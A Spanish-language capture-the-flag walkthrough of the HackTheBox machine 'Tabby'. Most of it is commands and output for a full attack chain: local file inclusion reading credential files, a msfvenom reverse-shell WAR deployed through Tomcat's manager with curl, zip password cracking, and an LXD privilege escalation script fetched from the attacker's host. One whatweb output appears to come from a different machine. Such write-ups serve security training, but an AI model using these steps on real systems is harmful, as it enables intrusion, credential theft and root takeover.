¡Hola! Vamos a resolver de la máquina Tabby
de dificultad “Fácil” de la plataforma HackTheBox.
Técnicas Vistas:
- Local File Inclusion (LFI)
- Abusing Tomcat Virtual Host Manager
- Abusing Tomcat Text-Based Manager - Deploy Malicious War (Curl Method)
- LXC Exploitation (Privilege Escalation)
Preparación Entorno
Antes de iniciar la fase de enumeración y reconocimiento procederemos a crear un directorio de trabajo con el nombre Tabby
. Una vez creado accedemos al directorio y con la ayuda de la función que tenemos definida en la zshrc mkt
crearemos cuatro directorios de trabajo nmap, content, exploits y scripts
donde almacenaremos de una manera ordenada toda la información que vayamos recopilando de la máquina en función de su naturaleza.
1
2
3
function mkt(){
mkdir {nmap,content,exploits,scripts}
}
Reconocimiento
Accedemos al directorio de trabajo nmap
e iniciamos nuestra fase de reconocimiento realizando un ping
a la IP de la máquina para comprobar que esté activa y detectamos su sistema operativo basándonos en el ttl
de una traza ICMP.
1
2
3
4
5
6
7
❯ ping -c 1 10.10.10.194
PING 10.10.10.194 (10.10.10.194) 56(84) bytes of data.
64 bytes from 10.10.10.194: icmp_seq=1 ttl=63 time=42.3 ms
--- 10.10.10.194 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 42.314/42.314/42.314/0.000 ms
Identificamos que es una maquina Linux debido a su ttl (time to live) correspondiente a 63 (Disminuye en 1 debido a que realiza un salto adicional en el entorno de HackTHeBox).
- TTL => 64 Linux
- TTL => 128 Windows
Continuamos con la enumeración de los 65535 puertos en la máquina.
1
2
3
4
5
6
nmap -p- --open --min-rate 5000 -vvv -n -Pn 10.10.10.194 -oG allPorts
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
8080/tcp open http-proxy syn-ack ttl 63
Luego de identificar los puertos abiertos OPEN
, se procede a escanear servicios y versiones que puedan estar corriendo en los puertos abiertos detectados.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
nmap -sCV -p21,22,80,8080 10.10.10.194 -oN targeted
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 45:3c:34:14:35:56:23:95:d6:83:4e:26:de:c6:5b:d9 (RSA)
| 256 89:79:3a:9c:88:b0:5c:ce:4b:79:b1:02:23:4b:44:a6 (ECDSA)
|_ 256 1e:e7:b9:55:dd:25:8f:72:56:e8:8e:65:d5:19:b0:8d (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Mega Hosting
|_http-server-header: Apache/2.4.41 (Ubuntu)
8080/tcp open http Apache Tomcat
|_http-title: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Reconocimiento Web
Iniciamos el reconocimiento del servicio web con la herramienta whatweb
la cual nos muestra información sobre las tecnologías web que incluyen sistemas de gestión de contenido (CMS), plataformas de blogs, paquetes de estadísticas / análisis, bibliotecas JavaScript, servidores web y dispositivos integrados.
1
2
3
4
❯ whatweb http://10.10.10.194
http://10.10.10.194 [200 OK] Apache[2.4.18], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.18 (Ubuntu)], IP[10.129.22.41], JQuery[1.12.4], MetaGenerator[WordPress 4.8], PoweredBy[WordPress,WordPress,], Script[text/javascript], Title[BlockyCraft &8211; Under Construction!], UncommonHeaders[link], WordPress[4.8]
❯ whatweb http://10.10.10.194:8080
http://10.10.10.194:8080 [200 OK] Apache-Tomcat, Country[RESERVED][ZZ], IP[10.129.241.231], Title[Apache Tomcat]
Agregamos megahosting.htb
a nuestro /etc/hosts
Procedemos a explorar la web y observamos en la url de la sección NEWS
carga un archivo filename
pasado como input al parámetro file
de la página news.php
. Comprobamos que es vulnerable a un Local File Inclusion (LFI)
tratando de cargar el archivo /etc/passwd
Mediante el archivo /etc/passwd
descubrimos a un usuario ash
Accedemos a Tomcat por el puerto 8080
Accedemos a la sección de manager y probando con passwords por default o admin/admin no conseguimos acceder, sin embargo al clickar cancelar nos indica una posible ruta al archivo de configuración conf/tomcat-users.xml
Si tratamos de acceder a esta ruta por LFI no vemos nada. Podemos buscar en Google la ruta donde Apache guarda este archivo en Ubuntu o crearnos un contenedor en Docker con la misma versión de Apache para localizar donde reside el archivo. Con cualquiera de las dos formas encontramos que el archivo reside en /usr/share/tomcat9/etc/tomcat-users.xml
. Accedemos a esta ruta y observamos el código fuente donde vemos unas credenciales
A pesar de tener credenciales válidas no podemos acceder porque no tenemos el rol manager-gui
asignado
Seguimos aplicando fuzzing a la ruta http://10.10.10.194:8080/manager
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ wfuzz -c --hc=404 -t 200 -w /usr/share/SecLists/Discovery/Web-Content/common.txt http://10.129.241.231:8080/manager/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.194:8080/manager/FUZZ
Total requests: 4713
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000002165: 302 0 L 0 W 0 Ch "images"
000002115: 401 63 L 291 W 2499 Ch "html"
000003958: 401 63 L 291 W 2499 Ch "status"
000004124: 401 63 L 291 W 2499 Ch "text"
Buscamos en Google la ruta /manager/text
y encontramos que se pueden ejecutar comandos a través de esta interface
Como el usuario tomcat
tiene rol de manager-script
deberíamos tener permiso para interactuar con /manager/text
. Probamos a listar hosts disponibles en Tomcat
1
2
3
4
5
6
7
❯ curl -s -u 'tomcat:$3cureP4s5w0rd123!' -X GET "http://10.10.10.194:8080/manager/text/list"
OK - Listed applications for virtual host [localhost]
/:running:0:ROOT
/examples:running:0:/usr/share/tomcat9-examples/examples
/host-manager:running:0:/usr/share/tomcat9-admin/host-manager
/manager:running:0:/usr/share/tomcat9-admin/manager
/docs:running:0:/usr/share/tomcat9-docs/docs
Vamos a crear un archivo war malicioso el cual nos entabla una reverse shell con nuestro equipo y así conseguir acceso
1
2
3
4
❯ msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.33 LPORT=443 -f war -o shell.war
Payload size: 1088 bytes
Final size of war file: 1088 bytes
Saved as: shell.war
Tenemos que subir el archivo pero a través del portal de Tomcat no podemos. Una búsqueda en Google y encontramos la manera de subirlo mediante la herramienta curl
1
2
❯ curl -s -u 'tomcat:$3cureP4s5w0rd123!' "http://10.10.10.194:8080/manager/text/deploy?path=/reverse" --upload-file shell.war
OK - Deployed application at context path [/reverse]
Sólo nos queda entablar un listener con netcat
en el puerto 443 y acceder a la ruta http://10.10.10.194:8080/reverse
1
2
3
4
5
❯ nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.14.33] from (UNKNOWN) [10.10.10.194] 34052
whoami
tomcat
Movimiento Lateral
Enumerando directorios encontramos en /var/www/html/files
un archivo 16162020_backup-zip
. Vemos que pertenece al usuario ash
, tratamos de descomprimirlo y nos sale el prompt pidiendo una password que no tenemos
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
tomcat@tabby:/var/www/html/files$ ls -la
total 36
drwxr-xr-x 4 ash ash 4096 Aug 19 2021 .
drwxr-xr-x 4 root root 4096 Aug 19 2021 ..
-rw-r--r-- 1 ash ash 8716 Jun 16 2020 16162020_backup.zip
drwxr-xr-x 2 root root 4096 Aug 19 2021 archive
drwxr-xr-x 2 root root 4096 Aug 19 2021 revoked_certs
-rw-r--r-- 1 root root 6507 Jun 16 2020 statement
tomcat@tabby:/var/www/html/files$ unzip 16162020_backup.zip
Archive: 16162020_backup.zip
checkdir error: cannot create var
Read-only file system
unable to process var/www/html/assets/.
[16162020_backup.zip] var/www/html/favicon.ico password:
Para descargarnos el archivo zip a nuestro equipo vamos a codificarlo en base64 y descodificar en nuestro equipo
1
2
3
4
#VICTIMA
tomcat@tabby:/var/www/html/files$ base64 -w0 16162020_backup.zip
UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAAUABwAdmFyL3d3dy9odG1sL2Fzc2V0cy9VVAkAAxpv/FYkaMZedXgLAAEEAAAAAAQAAAAAUEsDBBQACQAIALV9LUjibSsoUgEAAP4CAAAYABwAdmFyL3d3dy9odG1sL2Zhdmljb24uaWNvVVQJAAMmcZZWQpvoXnV4CwABBAAAAAAEAAAAAN2Ez/9MJuhVkZcI40s6Mq3E1cGg8qJLHlm+k/NkGyVP3k2oTMAGRUJu1NrENypKTVUkFVj+2gK6gWjkuB5sbr7HYjzQZLYfWrBuHZlwyQVZQSCuFKLE+CHKAXhniPchcs6SpngYkPwutfDdDUASgsbwv4xEFP7Y61ZP/sPWrEM865/YFL6PMZO0Ztsx/uDaQgSDM526lAb4UyZyWFS4Q2Js3bZxIbkMl8grMRTqsm05D6l1UAWG3BcxE0iFVgonMapSLgwEXDjQzajCT1n6csLlAmJdLAKMf6MYy5TQygOKxdt419349ur8AWda3b8Y/LE7Zk2lJW0UzlzVSwUmqcTjO9O76. . . . .
1
2
#ATACANTE
> echo "UEsDBAoAAAAAAIUDf0gAAAAAAAAAAAAAAAA. . . . ." | base64 -d -w0 > backup.zip
Con la utilidad fcrackzip
y el diccionario rockyou.txt
conseguimos la contraseña del comprimido
1
2
3
4
5
6
7
8
9
10
11
12
❯ fcrackzip -v -u -D -p /usr/share/wordlists/rockyou.txt backup.zip
'var/www/html/assets/' is not encrypted, skipping
found file 'var/www/html/favicon.ico', (size cp/uc 338/ 766, flags 9, chk 7db5)
'var/www/html/files/' is not encrypted, skipping
found file 'var/www/html/index.php', (size cp/uc 3255/ 14793, flags 9, chk 5935)
found file 'var/www/html/logo.png', (size cp/uc 2906/ 2894, flags 9, chk 5d46)
found file 'var/www/html/news.php', (size cp/uc 114/ 123, flags 9, chk 5a7a)
found file 'var/www/html/Readme.txt', (size cp/uc 805/ 1574, flags 9, chk 6a8b)
checking pw arizon1
PASSWORD FOUND!!!!: pw == admin@it
Ya que el propietario del archivo es ash
vamos a comprobar si hay reutilización de contraseñas por parte de este usuario
1
2
3
tomcat@tabby:/var/www/html/files$ su ash
Password:
ash@tabby:/var/www/html/files$
Hemos conseguido acceso con el usuario ash
. La flag se encuentra en su directorio personal
1
2
ash@tabby:/var/www/html/files$ cat /home/ash/user.txt
e48725d8ad48e9369***************
Escalada De Privilegios
Enumerando grupos a los que pertenece ash
vemos que pertenece al grupo lxd
1
2
ash@tabby:/var/www/html/files$ id
uid=1000(ash) gid=1000(ash) groups=1000(ash),4(adm),24(cdrom),30(dip),46(plugdev),116(lxd)
Lxd es una herramienta de gestión de los contenedores del sistema operativo Linux. Buscamos por vulnerabilidades con la herramienta searchsploit
y localizamos un script en bash hecha por el gran S4vitar y Vowkin que nos automatiza la escalada de privilegios
1
2
3
4
5
6
❯ searchsploit lxd
-------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Exploit Title | Path
-------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Ubuntu 18.04 - 'lxd' Privilege Escalation | linux/local/46978.sh
-------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Nos traemos el script a nuestro directorio de trabajo exploits
y examinamos su contenido. Nos tenemos que descargar una imagen de build-alpine
y hacer build
como usuario root
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
❯ wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
--2022-11-22 21:15:22-- https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.111.133, 185.199.110.133, 185.199.109.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.111.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 8060 (7,9K) [text/plain]
Grabando a: «build-alpine»
build-alpine 100%[==================================================================================================>] 7,87K --.-KB/s en 0s
2022-11-22 21:15:22 (122 MB/s) - «build-alpine» guardado [8060/8060]
❯ bash build-alpine
Determining the latest release... v3.17
Using static apk from http://dl-cdn.alpinelinux.org/alpine//v3.17/main/x86_64
Downloading alpine-keys-2.4-r1.apk
.
.
.
(25/25) Installing alpine-base (3.17.0-r0)
Executing busybox-1.35.0-r29.trigger
OK: 10 MiB in 25 packages
Levantamos un servidor Http con python y subimos los archivos generados a la máquina víctima
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
ash@tabby:/dev/shm$ wget http://10.10.14.33/alpine-v3.17-x86_64-20221122_2115.tar.gz
--2022-11-22 20:18:21-- http://10.10.14.33/alpine-v3.17-x86_64-20221122_2115.tar.gz
Connecting to 10.10.14.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3685862 (3.5M) [application/gzip]
Saving to: ‘alpine-v3.17-x86_64-20221122_2115.tar.gz’
alpine-v3.17-x86_64 100%[===================>] 3.51M 5.10MB/s in 0.7s
2022-11-22 20:18:22 (5.10 MB/s) - ‘alpine-v3.17-x86_64-20221122_2115.tar.gz’ saved [3685862/3685862]
ash@tabby:/dev/shm$ wget http://10.10.14.33/lxd_exploit.sh
--2022-11-22 20:18:52-- http://10.10.14.33/lxd_exploit.sh
Connecting to 10.10.14.33:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1451 (1.4K) [text/x-sh]
Saving to: ‘lxd_exploit.sh’
lxd_exploit.sh 100%[===================>] 1.42K --.-KB/s in 0.001s
2022-11-22 20:18:52 (1.05 MB/s) - ‘lxd_exploit.sh’ saved [1451/1451]
Damos permisos de ejecución al script y lo ejecutamos pasándole como parámetro la imagen compilada
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
ash@tabby:/dev/shm$ ./lxd_exploit.sh -f alpine-v3.17-x86_64-20221122_2115.tar.gz
If this is your first time running LXD on this machine, you should also run: lxd init
To start your first instance, try: lxc launch ubuntu:18.04
[*] Listing images...
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| ALIAS | FINGERPRINT | PUBLIC | DESCRIPTION | ARCHITECTURE | TYPE | SIZE | UPLOAD DATE |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
| alpine | 1bf0c73a462d | no | alpine v3.17 (20221122_21:15) | x86_64 | CONTAINER | 3.52MB | Nov 22, 2022 at 8:22pm (UTC) |
+--------+--------------+--------+-------------------------------+--------------+-----------+--------+------------------------------+
Creating privesc
Device giveMeRoot added to privesc
~ # whoami
root
Ganamos acceso como root pero estamos dentro de un contenedor. Dentro de la /mnt/root
tenemos montado el directorio de root. Dentro de la ruta /mnt/root/root
localizamos la flag de root
1
2
3
4
/mnt/root/root # ls
root.txt snap
/mnt/root/root # cat root.txt
7e521c04a16019e08***************
Si queremos ganar acceso total podemos navegar a la ruta /mnt/root/root/.ssh/id_rsa
y conseguir la clave id_rsa de root.
Hemos completado la máquina Tabby de HackTheBox!! Happy Hacking!!